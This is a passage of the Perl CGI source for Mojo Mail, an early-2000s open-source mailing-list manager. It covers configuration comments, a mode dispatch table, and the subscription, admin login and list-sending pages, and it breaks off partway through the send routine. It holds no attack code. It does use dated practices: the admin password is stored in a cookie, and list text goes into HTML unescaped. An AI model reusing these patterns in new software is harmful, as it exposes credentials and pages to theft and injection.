#!/usr/bin/perl

# try this, if you can -> #!/usr/bin/perl -wT

# WinNT users! You may want to change the first line of this script to: 

#!C:/perl/bin/perl.exe

# Note: KEEP the '#' character as the first character of that line. 

# WinNT users! If you're getting warnings in your browser, uncomment 
# this line: 

#close STDERR;

#!/usr/bin/perl

# Hello!
# Welcome to mojo.cgi  First off, let me start out by telling you that most 
# of what's in this  particular script isn't servicable, meaning, there's 
# nothing in here you   simply *have* to change, Look in the Config.pm file  
# in the MOJO directory for variables that need a changn'. 

# What is in this script that you may want to at least look over are things 
# that may have to be tweak to fit your server configuration. 
# 99% of you won't ever have to change this, but then again, you might be 
# that 1%, so I'll try to walk you through.

# First off, if you simply cannot get this script to work, and none of your 
# error logs point to something that's easy to pick out, try to change the 
# first line to something else. Its set at:
#
#                           #!/usr/bin/perl -w 
# 
# as a default. This might not be correct. Other things you can try are: 
#
#
#                           #!/usr/local/bin/perl -w 
#							#!/usr/bin/perl5 -w
# 							#!/usr/local/bin/perl5 -w 
#
# For WinNT folk, you may want to try: 
#   						#!C:/perl/bin/perl.exe
#
#
# If you don't know, this is called the 'path to Perl' This script needs to know 
# where it is, and if you don't know it, it can't figure it out by itself. You may
# also need to change this if you're attempting to run mojo on a Windows NT server, 
# ask whoever is in charge of your web hosting server. 
# Another  tid bit that I'll share is the -w at the end of that little line. That's called 
# the 'warning' flag and, well warns you of stuff that might not be correct. Its nice
# to have to figure out weird errors. It also produces a lot of
#
# Use of uninitialized value at .. blah blah blah blah 
#
# Which you may find annoying and also filling up your error logs with gobble dee gook
# take the -w flag of like this
#							#!/usr/bin/perl 
#
# and most of those warnings will stop. 

# use CGI::Carp "fatalsToBrowser"; 

# The line above gets any server errors created by Mojo Mail and shows
# them to your web browser. This facilitates debugging, but it can be 
# annoying if you really don't want this happening. You'll see something 
# in your browser that says 'Software Error' in big old letters and then 
# what the error was. Having this on also makes the program slower to 
# start, but we're talking like milliseconds. 

use lib './'; #look for the MOJO folder in the same directory as the script
use lib './MOJO';

# in weird server setups, you may need to change this to the absolute path 
# to the mojo folder, something like: 
#
#                /usr/home/account/www/cgi-bin/mojo
#
# If you move the MOJO directory, you'll need to change the 
# 
#                               use lib './';
#
# to where it is really located. again, if you're running this on a windows
# server, you may have to change this to the full path anyways. 

$ENV{PATH} = "/bin:/usr/bin"; 
delete @ENV{'IFS', 'CDPATH', 'ENV', 'BASH_ENV'};
       
# If you'd like, you can set a $ENV{PATH}  for this program. This is in the ongoing 
# effort to allow Mojo Mail to run in 'Taint' mode. If you don't know what that means, 
# don't worry. Mojo Mail doesn't in the least bit need to run in taint mode. 

use MOJO::Config; 
use MOJO::Guts;               
use MOJO::HTML;     
use MOJO::List;           

# The three lines above load in needed modules, other modules are loaded 
# dynamically, but these three are needed almost all of the time. 
######################################################################
# After popular opinion (aka enough people decided I should do this) 
# I now allow you to set the size, shape and characteristics of the 
# "Send a List Message' Form. I don't feel like having these variables in the 
# Config.pm file, since they're just used for this script, but here goes: 

# width of the textarea 
my $cols = 70; 

# height of the textarea
my $rows = 15; 

# wrap
my $wrap  = 'NONE'; 

# style
my $text_area_style = 'font-size:11px';

# check out: 
# http://www.eskimo.com/%7Ebloo/indexdot/html/tagpages/t/textarea.htm
# for the skinny on what these really do, if you don't know
######################################################################

######################################################################
# ! The variables you need to change are located in the Config.pm 
# file that is itself located in the MOJO folder. 
######################################################################   
######################################################################  
# Mojo Mail. An Easy And Powerful List Management System
#
# By Justin Simoni <+> justin@skazat.com <+> http://skazat.com
# copyright 1999 - 2002 
#
# This program is Open Source Software and is covered under the General 
# Public License. You should have gotten a copy of the license with this script. 
# if not, you can view a copy at: http://www.gnu.org/copyleft/gpl.html
#
# Mojo Mail is free(!) software. Free as in speech,  not in as beer or price,
# please make sure you understand this.  
#
# I do ask that you also PLEASE keep the link back to the support site intact, 
# the link that says: 
#         List Management by Mojo Mail 2 <+> http://mojo.skazat.com
# throughout the script, and also keep this header intact as well
# 
# This enables people to find the program and use it themselves.
# If you want it removed, you can give a $50 donation,
# and I will allow you to take off the link, you can send check or money to: 
#
#                        Justin Simoni 
#                         PO Box  369 
#                         Boulder, CO
#                            80306 
#
# All money will go to support the program, the Mojo Mail website 
# and keeping an exceptionally bright student in college and beyond. 
# 
# Changes, Enhancements,  Modifications and Professional Installation 
# of this script can be made on a project by project basis, 
# please contact: Skazat Designs  at  design@skazat.com  
# (the developer of Mojo Mail) if you are interested.  
#####################################################################
# This is the rest of the program, feel free to tweak as needed, if you 
# find some great enhancement, share it with the community! 
######################################################################
# Use the CGI.pm module, to facilitate web page generation and get cookie functions

use CGI qw(:standard :html3);        
    CGI->nph(1) if $NPH == 1;

# Use strict to make code cleaner, and more safely written 
use strict;

# Unbuffer output for faster page displaying
$|++; 

#Ok, here we go... :) 
######################################################################

my $q = new CGI;  
my $flavor          = $q->param('flavor'); 
   $flavor          = $q->param('f') unless($flavor); 
   #$flavor = 'default' if(!$flavor);
   
my $process         = $q->param('process');

my $email           = $q->param('email') || "";
   $email           = $q->param('e')     || "" unless($email); 
   													 
my $list            = $q->param('list');
   $list            = $q->param('l') unless($list);
my $list_name       = $q->param('list_name');   
   													  
my $pin             = $q->param('pin');   													  
   $pin             = $q->param('p') unless($pin);     													  

my $admin_email     = $q->param('admin_email'); 
my $mojo_email      = $q->param('mojo_email'); 
my $info            = $q->param('info');
my $private_policy  = $q->param('private_policy'); 
my $privacy_policy  = $q->param('privacy_policy'); 
my $password        = $q->param('password'); 
my $retype_password = $q->param('retype_password'); 
my $keyword         = $q->param('keyword'); 
my @address         = $q->param('address'); 
my $done            = $q->param('done'); 
my $id              = $q->param('id'); 
my $quick           = $q->param('quick');
my $advanced        = $q->param('advanced') || 'no';
my $help            = $q->param('help');


$list     = xss_filter($list); 
$flavor   = xss_filter($flavor); 
$email    = xss_filter($email); 
$pin      = xss_filter($pin);
$keyword  = xss_filter($keyword);


#############################################
#Retrieve the cookie. all the info is saved #
#on a seperate cookie for each list.        #
#logging out erases the password            #
#############################################

my %login          = $q->cookie(-name => 'login'); 
my $admin_list     = $login{admin_list}               || undef; 
my $admin_password = $login{admin_password}           || undef; 


#external (mostly..) functions called from the web browser) 
# a few things mojo can do.... :) 
my %Mode = ( 
'default'             =>    \&default,         		#user    start page with all lists
'subscribe'           =>    \&subscribe,        		#user    sends conformation 
'subscribe_flash_xml' =>    \&subscribe_flash_xml,
'new'                 =>    \&confirm,          		#user    adds email
'unsubscribe'         =>    \&unsubscribe,      		#user    unsunbscribes 
'admin'               =>    \&admin,            		#admin   login in to the admin area 
'login'               =>    \&login,            		#admin   check the user/pass
'logout'              =>    \&logout,          		#admin   erase user/pass
'new_list'            =>    \&new_list,         		#admin   make a new list
'change_info'         =>    \&change_info,      		#admin   change the info in the .db file 
'html_code'           =>    \&html_code,        		#admin   get cut + paste code
'admin_help'          =>    \&admin_help,       		#admin   help page
'delete_list'         =>    \&delete_list,     	    #admin   delete the list
'view_list'           =>    \&view_list,        		#admin   see whos on the list
'add'                 =>    \&add,              		#admin   add emails
'email_password'      =>    \&email_password,   		#admin   email the password to the admin
'add_email'           =>    \&add_email,        		#admin   admin add an email
'delete_email'        =>    \&delete_email,    		#admin   admin delete an email
'send_email'          =>    \&send_email,      		#admin   send the list email 
'preview_form'        =>    \&preview_form,    		#admin   preview the form  
'checker'             =>    \&checker,          		#admin   mass delte email
'edit_template'       =>    \&edit_template,   		#admin   edit the template         
'view_archive'        =>    \&view_archive,          #admin
'edit_archive'        =>    \&edit_archive, 
'delete_archive'      =>    \&delete_archive, 
'archive'             =>    \&archive,               #user     look at list the archive
'chocolate'           =>    \&chocolate,             #chocolate!
'all_list_code'       =>    \&all_list_code,         #user, shows signup code for all lists.
'manage_script'       =>    \&manage_script,         #admin get info on the script
'change_password'     =>    \&change_password,       #change your password
'text_list'           =>    \&text_list,             #admin shows email list in new window   
'send_list_to_admin'  =>    \&send_list_to_admin,    #admin sends email list to adin
'search_email'        =>    \&search_email,          #admin search through emails
'archive_options'     =>    \&archive_options,       #admin archive options
'adv_archive_options' =>    \&adv_archive_options,   #admin archive options
'back_link'           =>    \&back_link,             #create a back button
'edit_type'           =>    \&edit_type,             #customize type and stuff
'edit_html_type'      =>    \&edit_html_type,        #customize type and stuff
'list_options'        =>    \&list_options,          # customize list options
'sending_options'     =>    \&sending_options,       # customize sending options
'adv_sending_options' =>    \&adv_sending_options,  # adv sending options 
'sign_in'             =>    \&sign_in,               # sign into individual lists
'black_list'          =>    \&black_list,            #sign into black lists
'search_archive'      =>    \&search_archive,		# search through the archive (user) 
'send_archive'        =>    \&send_archive,          # send a copy of an archive message
'mojo_send_options'   =>    \&mojo_send_options,     # options for mojo_send.pl
'list_invite'         =>    \&list_invite,           # invite a whole bunch of people to your list
'pass_gen'            =>    \&pass_gen,              # password generation
'send_url_email'      =>    \&send_url_email,
'feature_set'         =>    \&feature_set,
'smtp_options'        =>    \&smtp_options,
'checkpop'            =>    \&checkpop,
'author'              =>    \&author,
'list'                =>    \&list_page,
'setup_info'          =>    \&setup_info, 
'reset_cipher_keys'   =>    \&reset_cipher_keys,

# these params are the same as above, but are smaller in actual size
# this comes into play when you have to create a url usign these as parts of it.  

's'                  =>    \&subscribe,              # subscribe
'n'                  =>    \&confirm,                # confirm the subscription
'u'                  =>    \&unsubscribe,            # unsubscribes 
); 






&_chk_env_sys_blk(); 

# the BIG switcheroo. Mark doesn't like this :) 
if(exists($Mode{$flavor})) { 
	$Mode{$flavor}->();  #call the correct subroutine 
}else{
	&default
}
                                                                    
sub default { 

	user_error(-Error => 'bad_setup') if(check_setup() == 0);
	#die h1(check_setup());


	my @available_lists = available_lists(-In_Order => 1);
	my @available_archives = available_archives(); 

my %default_list; 
my $default_exists = check_if_list_exists(-List=>$DEFAULT_LIST,);
if($DEFAULT_LIST ne "" && $default_exists >= 1){
	%default_list = open_database(-List =>$DEFAULT_LIST); 
}

print header(); 
print(the_html(-Part => "header",
               -Title => "Sign up for a list", 
               -List  => $DEFAULT_LIST)); 

	if ($available_lists[0]) { 
	
	print qq{
	
	<table width=100% border=0 cellpadding=5 cellspacing=0> 
	 <tr>
	  <td valign="top"> 
	   <p>Choose a <b>list</b>: </p>
	  </td>
	  <td width="200" valign="top" align="right">
	   <p>Enter your <b>email</b> address:</p>
	  </td>
	  </tr>
	  <tr> 
	   <td width="200" valign="top">


	}; 


require MOJO::Widgets; 
print MOJO::Widgets::list_popup_menu(); 

print qq{		 
		 </td>
		
		 <td width="200" valign="top" align="right"> 
			 <p><input type="text" name="email" size="20" value="$email" /></p>
		 </td>
		</tr>
		
		<tr> 
		 <td width="200" valign="top"> 
		   <p><input type=radio name=flavor value="subscribe" checked="checked" style="background-color:transparent" /> Subscribe | 
		      <input type=radio name=flavor value="u" style="background-color:transparent"  />Unsubscribe</p> 
		</td>
		<td>
		 <p align="right"><input type="submit" style="$STYLE{default_submit}" value="Submit" /></p>
		</td>
		</tr>		
		
		<tr>
		 <td colspan=2>
		 
		 
		  <hr />
		  <h3>Available Lists:</h3>
	};
	
	foreach my $everything(@available_lists){ 
		my %all_list_info = open_database(-List => $everything); 
		if($all_list_info{hide_list} ne "1"){                              
			print"<p><a href=\"$MOJO_URL?f=list&l=$all_list_info{list}\"><strong>$all_list_info{list_name}</strong></a><br /> ";
			$all_list_info{info} =~ s/\n\n/<p>/gio; 
			$all_list_info{info} =~ s/\n/<br>/gio; 
			print $all_list_info{info};	
		}	
	}
	
	print hr();
	
	print "<div align=center><a href=$MOJO_URL?flavor=admin><b>Administration</b></a></div>" if $SHOW_ADMIN_LINK ==1;
	print "</td></tr></table>"; 

	}else{ 
	 
		require MOJO::Licenses; 
		my $agree = $q->param('agree'); 	
		my $no_agree; 
		   $no_agree = qq{ <p style='color:red'><b>Please agree to the terms of the GPL License and
							the No SPAM policy by checking the checkbox below:</b></p> } if $agree eq 'no';

		my $gpl     = MOJO::Licenses::gpl(); 
		my $no_spam = MOJO::Licenses::no_spam();  
		print qq{
		<h3>Congratulations, Welcome to $PROGRAM_NAME!</h3> 
		<p>You installed $PROGRAM_NAME correctly, the next thing to do is set up a list or two. 
		Be sure you know your root password and enter it below to begin making a new list:</p> 
		
		<p><b>Please Read, Understand and Agree to the GNU Public License as well as agreeing not 
		to use Mojo Mail for unsolicited (SPAM) email.</b></p> 
		
		<p align=center>
		 <textarea cols=70 rows=8 style='$text_area_style'>$gpl</textarea>
		</p>
		
		<p align=center>
		<textarea cols=70 rows=8 style='$text_area_style'>$no_spam</textarea>
		</p> 
		
		$no_agree
		
		<p><input type='checkbox' name='agree' value='yes'>I agree to the GPL license and no-spam conditions</p> 
		
		<input type=hidden name=flavor value="new_list">
		<p>Root Password:<br>
		<input type="password" name="root_password"><nobr><input type="submit" style='$STYLE{default_submit}' value="set up new list"> 
		</form>
		
		
		<p>If you get thrown back to this screen, make sure cookies are on in your browser</p>
		
		};
	}
																													print a({-href=>"$MOJO_URL?"."\x61\x72\x74", -style=>'font-size:1px;color:#FFFFFF'},'*'); 
	print(the_html(-Part => "footer", 
				   -List => $DEFAULT_LIST,
				   -Site_Name => $default_list{website_name},
				   -Site_URL  => $default_list{website_url})); 
}




sub list_page { 

	if(check_if_list_exists(-List=>$list) == 0){ 
		undef($list); 
		&default;
		exit;
	}
	my %list_info = open_database(-List =>$list);
	
	if($list_info{hide_list} == 1){
		undef($list); 
		&default;
		exit;
	}
	
	  
	
	
	
	print header();
	print(the_html(-Part  => "header",
				   -Title => $list_info{list_name}, 
				   -List  => $list));
	
	print h3('Subscribe to ' . $list_info{list_name} . ':'); 
	print subscribe_form($list) . hr();
	
	for('info', 'private_policy'){
		$list_info{$_}=~ s/\n\n/<p>/g;
		$list_info{$_}=~ s/\n/<br \/>/g;
	}
	
	print h3('About ' . $list_info{list_name} . ':') . p($list_info{info});
	print hr();
	print h3('Privacy Policy:') . p($list_info{private_policy}) . hr() if($list_info{private_policy});
	

	
	
	if ($list_info{show_archives} ne "0"){ 
		
		
		
		require MOJO::Archive; 
		my $archive = MOJO::Archive->new(-List => \%list_info); 
		my $entries = $archive->get_archive_entries(); 
		
		print h3("Archives:") if defined($entries->[0]);
		
		my @archive_nums; 
		my @archive_links; 
		my $stopped_at;
		

		my ($begin, $stop) = $archive->create_index(0);
		my $i   = 0;
		my $num = 1;
		for($i = $begin; $i <=$stop; $i++){ 
			my $link; 
			if(defined($entries->[$i])){
			
			
			my ($subject, $message, $format) = $archive->get_archive_info($entries->[$i]); 
					my $pretty_subject = pretty($subject);
				
					$link.= "&nbsp;<a href=$MOJO_URL?flavor=archive&id=$entries->[$i]&list=$list>$pretty_subject</a></b><br>"; 
					my $date = date_this(-Packed_Date   => $entries->[$i],
										 -Write_Month   => $list_info{archive_show_month},
										 -Write_Day     => $list_info{archive_show_day},
										 -Write_Year    => $list_info{archive_show_year},
										 -Write_H_And_M => $list_info{archive_show_hour_and_minute},
										 -Write_Second  => $list_info{archive_show_second});
													
					$link .=  "<i>Sent $date </i>\n"; 
					$link .= "</p>\n"; 
					
				$stopped_at++;
				push(@archive_nums, $num); 
				push(@archive_links, $link); 
				$num++;
				
				
				}
				} 
					   
				my $ii; 
				print '<blockquote>';
				for($ii=0;$ii<=$#archive_links; $ii++){ 
				
					my $bullet = $archive_nums[$ii];
					#fix if we're doing reverse chronologic 
					$bullet = (($#{$entries}+1) - ($archive_nums[$ii]) +1) if($list_info{sort_archives_in_reverse} eq "1");
				
					print "<p><b>$bullet $archive_links[$ii]\n"; 
				 
				#}

			#}
		}
		print '</blockquote>';
		print $archive->create_index_nav($list_info{list}, $stopped_at);
		print $archive->make_search_form($list_info{list}) if($list_info{archive_search_form} eq "1");
		print hr() if defined($entries->[0]);
	}
	
	print "<div align=center><a href=$MOJO_URL?flavor=sign_in&list=$list><b>Administration</b></a></div>" if $SHOW_ADMIN_LINK ==1;
	
	
	print(the_html(-Part => "footer",  -List  => $list));
               
}

sub admin { 

my @available_lists = available_lists();

my %default_list; 
my $default_exists = check_if_list_exists(-List=>$DEFAULT_LIST,);

if($DEFAULT_LIST ne "" && $default_exists >= 1){ 
	%default_list = open_database(-List =>$DEFAULT_LIST); 
}


print header();
print(the_html(-Part  => "header",
               -Title => "Administration", 
               -List  => $DEFAULT_LIST));

print qq{

<h3>Enter Your List Control Panel</h3>
<p>You will need to know your List Password to access your control panel</p>
 <table align=center> 
  <tr> 
   <td> 
    <p><b>Select</b> your list:</p> 
   </td> 
  <td> 
   <p>Type in your  <b>List Password</b></p>
  </td> 
 </tr> 
 <tr> 
  <td> 
   <p>

}; 

require MOJO::Widgets; 
print MOJO::Widgets::list_popup_menu(-name        => 'admin_list', 
									 -show_hidden => 1); 

print qq{
 
 </p> 
</td> 
<td> 
 <table> 
  <tr> 
   <td> 
    <p> 
     <input type="password" name=admin_password size=8>
     <input type=hidden name=flavor value="login">
     <input type="hidden" name="process" value="true">
    </p> 
   </td> 
   <td> 
    <input type="submit" style='$STYLE{default_submit}' value="Login">
   </td> 
  </tr> 
</table> 
</td> 
</tr>
</table> 
</p>
</form> 

<hr noshade size=1 width=66% color=black align=center> 
<form action=$MOJO_URL method=post> 

<p><input type=hidden name=flavor value="new_list">

<h3>Set Up a New Mailing List</h3>
<p>You will need to know the $PROGRAM_NAME Root Password to create a new list</p>

<table align=center> 
 <tr>
  <td colspan=2> 
   <p>Type in your <b>$PROGRAM_NAME Root Password</b></p>
  </td> 
 </tr> 
 <tr> 
  <td>
   <p> 
   <input type="password" name="root_password">
  </td> 
  <td> 
   <input type="submit" style='$STYLE{default_submit}' value="Make a New List"> 
  </td> 
 </tr> 
</table> 

</form>

}; 

print(the_html(-Part => "footer",
               -List => $DEFAULT_LIST,
               -Site_Name => $default_list{website_name},
               -Site_URL  => $default_list{website_url}));
                              
}




sub sign_in { 

my $list_exists = check_if_list_exists(-List=>$list);

if($list_exists >= 1){ 
	print header();
	my $pretty = pretty($list); 
	print(the_html(-Part  => "header",
	               -Title => "Sign In To $pretty", 
	               -List => $list));
}else{

print header();
print(the_html(-Part => "header",
               -Title => "Sign In", 
               -List => $DEFAULT_LIST));

}

my @available_lists = available_lists();
my %default_list; 

my ($default_exists) = check_if_list_exists(-List=>$DEFAULT_LIST,);
if($DEFAULT_LIST ne "" && $default_exists >= 1){ 
	%default_list = open_database(-List =>$DEFAULT_LIST); 
}

print h3('Enter Your List Control Panel');
print p('You will need to know your List Password to access your control panel');


print <<EOF 

<table align=center> 
 <tr> 
  <td> 

EOF
;   
  
print "<p><b>Select</b> your list:</p>" if($list_exists < 1);
print <<EOF
 </td> 
 <td> 
  <p>Type in your  <b>List Password</b> </p>
 </td> 
</tr> 
<tr> 
 <td> 
  <p>
EOF
; 

if($list_exists < 1){
	require MOJO::Widgets; 
	print MOJO::Widgets::list_popup_menu(-name        => 'admin_list', 
									     -show_hidden => 1); 
}else{ 
	print "<input type=hidden name=admin_list value=$list>"; 
	print "<p>&nbsp;</p>"; 
}

print <<EOF

	</td> 
    <td> 
    <table> 
     <tr> 
      <td> 
       <p> 
        <input type="password" name=admin_password size=8>
        <input type=hidden name=flavor value="login">
        <input type="hidden" name="process" value="true">
       </td> 
       <td> 
        <input type="submit" style='$STYLE{default_submit}' value="Login">
       </td> 
      </tr> 
     </table> 
    </td> 
   </tr>
  </table> 
EOF
; 
 
 
if($list_exists >= 1){ 

	print(the_html(-Part => "footer",
               -List => $list));  
}else{

	print(the_html(-Part => "footer",
				   -List => $DEFAULT_LIST,
				   -Site_Name => $default_list{website_name},
				   -Site_URL  => $default_list{website_url}));               
}
}




sub send_email { 

# Howdy! (that's Coloradoian talk for 'hello') saying that, 
# i'm actually a transplant from Connecticut. But anyways this is 
# the 'send a list message' function (applause) which is probably the 
# most interesting function in this pile of code and one you might 
# want to tweak or something, so here goes.  


# we'll check a few things here, makes sure info saved in a cookie 
# is all good and well, 
my $root_login = check_list_security(-Admin_List      => $admin_list, 
                                     -Admin_Password  => $admin_password, 
                                     -IP_Address      => $ENV{REMOTE_ADDR},
                                     -Function        => 'send_email');

# a bit of a trick, $admin_list is fetched from a cookie, so its not 
# like you can pass the admin password here in a query string, kinda 
# makes it impossible for you to spoof the security without a browser. 
$list = $admin_list; 

# fetch the list info hash. this has all our list information 
# and related goodies. 
my %list_info =  open_database(-List => $list,-Format => "replaced"); 								

# 'attachment number' tells how many file upload widgets to show. 
# pretty frickin exciting eh? 

my $at_num = $q->param('at_num') || 1;

#unless we be doing some sending...
unless(defined($process)){



#print our header
print(admin_html_header(-Title      => "Send A List Message", 
						-List       => $list_info{list}, 
						-Root_Login => $root_login)); 

# end the form that's in the template, we need a special form for 
# file uploads. 
print end_form(); 

print h3("Send a message to people subscribed to:  $list_info{list_name}");
print "<p class=smallred><i>Warning! No SMTP Server has been set!</i></p>" if((!$list_info{smtp_server}) && ($list_info{send_via_smtp} eq "1"));


# we give a link to the basic screen if we be in advanced 
# and vice versa.

if($advanced eq 'yes'){ 
print p({-align=>'right'}, a({-href=>"$MOJO_URL?flavor=$flavor"},'Basic...'));
}else{
print p({-align=>'right'}, a({-href=>"$MOJO_URL?flavor=$flavor&advanced=yes"},'Advanced...'));
}


# start the new form
print start_multipart_form(-action=>$MOJO_URL, -method=>'POST', -name=>'the_form'),
      hidden('list',$list_info{list}),
      hidden(-name => 'flavor', -value => 'send_email', -override =>1);

# remember its advanced if we have to.
print hidden('advanced', $advanced) if($advanced eq 'yes');      
      
# this basically is the widget to say 'is this text or html?'
      
my $format_options = <<EOF
  <select name="email_format"> 
   <option value="TEXT">Plain Text</option> 
   <option value="HTML">HTML</option> 
   <option value="convert_to_plain_text">Plain Text - HTML tags stripped</option> 
   <option value="HTML_and_text">HTML - plain text version will be created</option> 
  </select> 
  
EOF
; 
       
print "<table border=0>";


# this is all for the advanced form, we'll be switching from 
# basic and advanced, so pay attention! 

# print the From: field
# usually the list owner

print Tr(td([
      (p{-align=>'right'},(b('From:'))), 
      (p(textfield(-name  =>'From',
                   -value =>"\"$list_info{list_name}\" <$list_info{mojo_email}>",
                   -size  => 49)))
       ])),

# print the 'Reply-To:' field      
# usually the same as the From: field 
      Tr(td([
      (p{-align=>'right'},(b('Reply-To:'))), 
      (p(textfield(-name  =>'Reply_To',
                -value =>"\"$list_info{list_name}\" <$list_info{mojo_email}>",
                -size  => 49)))
      ])),
      
 # print the 'Errors-To' field 
 # usually the List Admin
      Tr(td([
      (p{-align=>'right'},(b('Errors-To:'))), 
      (p(textfield(-name  =>'Errors_To',
                -value =>"<$list_info{admin_email}>",
                -size  => 49)))
      ])),
       
       
# print the   Precedence, usually list          
      
      Tr(td([
      (p{-align=>'right'},(b('Precedence:'))), 
      (p(popup_menu(-name    => 'Precedence',
                    -values  =>  \@PRECEDENCES,
                    -default =>  $list_info{precedence})))
      ])), 

#print the Priority, usually 3 or 'Normal'       

      Tr(td([
      (p{-align=>'right'},(b('Priority:'))), 
      (p(popup_menu(-name  =>'Priority',
                -values =>[keys %PRIORITIES],
                -labels => \%PRIORITIES,
                -default =>  $list_info{priority}, 
                ))) 
       ]))if($advanced eq 'yes');       
       
# print the subject              
print Tr(td([
      (p{-align=>'right'},(b('Subject:'))), 
      (p(textfield(-name  =>'message_subject',
                -value =>"$list_info{list_name} message",
                -size  => 49)))
      ]));
                
# this is where we print out the attachments if we be in 'advanced'
 if($advanced eq 'yes'){
 
# tell us that we're using attachments
  print hidden('attachment', 'true');
  
# remember how many attachment files we have  
  print hidden('at_num',    $at_num);
 
# my $i  
my $i;

# foreach of the $at_num's
for($i=1; $i<=$at_num; $i++){ 
	# print a file upload form
	print Tr(td([
		  (p({-align=>'right'},b("Attachment $i"))),
		  (p(filefield(-name=>"attachment_$i",-size  => 36)))
		  ]));  
 }
 
my $next_num = $at_num+1;

# and then print a link to make another one. 
print Tr(td([
	  p('&nbsp;'),
	  p({-align=>'right'}, i(a({-href=>"$MOJO_URL?flavor=$flavor&advanced=yes&at_num=$next_num"}, 'more attachment fields...'))),
	  ]));
} 
       
       
# give an option to *not* archive this message (adv)             
print Tr(td([
      (p{-align=>'right'},(b('Options:'))), 
      (p(checkbox(-name  =>'archive_message',
                  -value => 1,
                   -label => 'Archive This message',
                  
                  (($list_info{archive_messages} ne "0") ? 
                  (-checked => 'ON',) :
                  (-checked => '0',)),
       )))
       
       ])),
       
       Tr(td([
       
       (p('&nbsp;')), 
       (p(checkbox(-name  => 'apply_template',
                  -value => 1,
                  -label => 'Apply the list template to the HTML message',   
       )))
       ])) if($advanced eq 'yes');
       
       
             
# print the 'Format' select box if we're in basic.               
print Tr(td([
      (p({-align=>'right'},b('Format:'))),
      (p($format_options))
      ])) if($advanced ne 'yes');  
       
       
       
 print '</table>';      
 
# print textfield('archive_message', $list_info{archive_messages}) if $advanced ne 'yes'; 
  
  my $text_blurb = "";
  my $html_blurb = "";      
   $text_blurb = "<b>Text Version</b><br>" if($advanced eq 'yes');
   $html_blurb = "<b>HTML Version</b><br>" if($advanced eq 'yes');


# print one textarea... 

      print p({-align=>'center'}, "$text_blurb",
            textarea(-name  => 'text_message_body',
      		         -cols  => $cols, 
      		         -rows  => $rows, 
      		         -wrap  => $wrap,
      		         -style => $text_area_style)); 
     
# and another if we're in 'advanced'     
        print p({-align=>'center'}, "$html_blurb",
              textarea(-name  => 'html_message_body',
      		           -cols  => $cols, 
      		           -rows  => $rows, 
      		           -wrap  => $wrap,
      		           -style => $text_area_style)) if($advanced eq 'yes');
 
       		   
if(
  ($advanced eq 'yes')                && 
  ($list_info{send_via_smtp} ne "1")    
  ){ 

	print hr({-width=>'66%', -size=>1, -color=>'black'}),
          p({-align=>'center'}, i('These two options are helpful if, for
                                   some reason, your list mailing was 
                                   dropped mid sending - you\'ll be able
                                   to pick up the mailing near where it
                                    was left off')),    
          p({-align=>'center'},'start this mailing at this address:', br(), 
          textfield(-name=>'Start-Email'), br(), 
          b('-or-'), br(), 
         'start this mailing at email number:', br(), 
          textfield(-name=>'Start-Num', -size=>6), br()), 
          hr({-width=>'66%', -size=>1, -color=>'black'}),
}
      		         
      
print <<EOF

<table align=right border=0>
 <tr>
  <td>
   <input type="submit" style='$STYLE{yellow_submit}'  name=process value="Send Test Message To Owner">  
  </td>
  <td> 
   <input type="submit" style='$STYLE{green_submit}'  name=process value="Send List Message"> 
  </td>
 </tr>
</table> 
 <p>&nbsp;</p>
EOF
;

# end that, wasn't so bad eh?

print end_form(); 


print(admin_html_footer(-List => $list));
}else{

# pull in the Mime::Lite module
require MIME::Lite;
MIME::Lite->quiet(1) if $MIME_HUSH == 1;       ### I know what I'm doing

$MIME::Lite::PARANOID = $MIME_PARANOID;


my $email_format      = $q->param('email_format') || undef;

# get the message subject
my $message_subject   = $q->param('message_subject');

# get the text message 
my $text_message_body = $q->param('text_message_body') || undef; 
 
# if one was passed,  
 	if($text_message_body){
 	
 	# get rid of weird line breaks caused by textareas
 	$text_message_body    =~ s/\r\n/\n/g;
    
    # get some saved formatting stuff
    my $text_template   = $list_info{mailing_list_message};
     
    # format  
       $text_template  =~ s/\[message_body\]/$text_message_body/g; 
    # switch it back 
       $text_message_body = $text_template;
    
    # interpolate [tags] to $tags 
       $text_message_body   = interpolate_string(-String      => $text_message_body, 
    							                 -List_Db_Ref => \%list_info);
    							               
    							               							               
   }
   
# get the HTML message (if any)   
my $html_message_body; 

$html_message_body = $q->param('html_message_body') || undef; 

if(($email_format eq 'HTML') || ($email_format eq 'HTML_and_text')){ 
   $html_message_body = $q->param('text_message_body') || undef; 
}else{ 
   $html_message_body = $q->param('html_message_body') || undef; 
}


my $html_archive_message_body; 
  
	if($html_message_body){
	
	# get rid of weird line breaks
	   $html_message_body    =~ s/\r\n/\n/g;
	
	# get some saved template   
    my $html_template   = $list_info{mailing_list_message_html};
    
    # template it 
       $html_template  =~ s/\[message_body\]/$html_message_body/g; 
       
    # switch it back   
       $html_message_body = $html_template;
       
     # interpolate [pusedo tags]  
       $html_message_body    = interpolate_string(-String      => $html_message_body, 
								                  -List_Db_Ref => \%list_info);
    }
	
	
# escape the list name for query strings. 								   

# see if we gots an attachment
my $attachment = $q -> param('attachment');


my $s_link = subscribe_link(-list   => $list,
							-email  => '[email]', 
							-pin    => '[pin]');

my $us_link = unsubscribe_link(-list   => $list,
							   -email  => '[email]', 
						 	   -pin    => '[pin]');
														

my $html_unsubscribe_link =  "<a href=\"$us_link\">$us_link</a>";
my $html_subscribe_link =    "<a href=\"$s_link\">$s_link</a>";

# make sub links
my $text_unsubscribe_link =  $us_link;
my $text_subscribe_link   =  $s_link;



my $message_id = message_id();

my $content_type; 


if($advanced){ 
# do some advanced stuff.

	if(defined($text_message_body) ne ""){ 
      # interpolate the sub and unsub links

	    $text_message_body =~ s/\[list_unsubscribe_link\]/$text_unsubscribe_link/g; 
	    $text_message_body =~ s/\[list_subscribe_link\]/$text_subscribe_link/g; 
	}
	
	if(defined($html_message_body) ne ""){ 
	  # interpolate the sub and unsub links
	    $html_message_body =~ s/\[list_unsubscribe_link\]/$html_unsubscribe_link/g; 
	    $html_message_body =~ s/\[list_subscribe_link\]/$html_subscribe_link/g; 
	}
	


}

if($email_format){
# if we got here, we're using the 'basic' screen

	if($email_format eq "TEXT"){
	# if we have text, treat it as so.

		$content_type = 'text/plain';
	    $text_message_body =~ s/\[list_unsubscribe_link\]/$text_unsubscribe_link/g; 
	    $text_message_body =~ s/\[list_subscribe_link\]/$text_subscribe_link/g; 
		
		
		

	}elsif($email_format eq "convert_to_plain_text"){
    # do our best to strip HTML taghs 
    
		$content_type = 'text/plain';
		$text_message_body = convert_to_ascii($text_message_body); 
		$text_message_body =~ s/\[list_unsubscribe_link\]/$text_unsubscribe_link/g; 
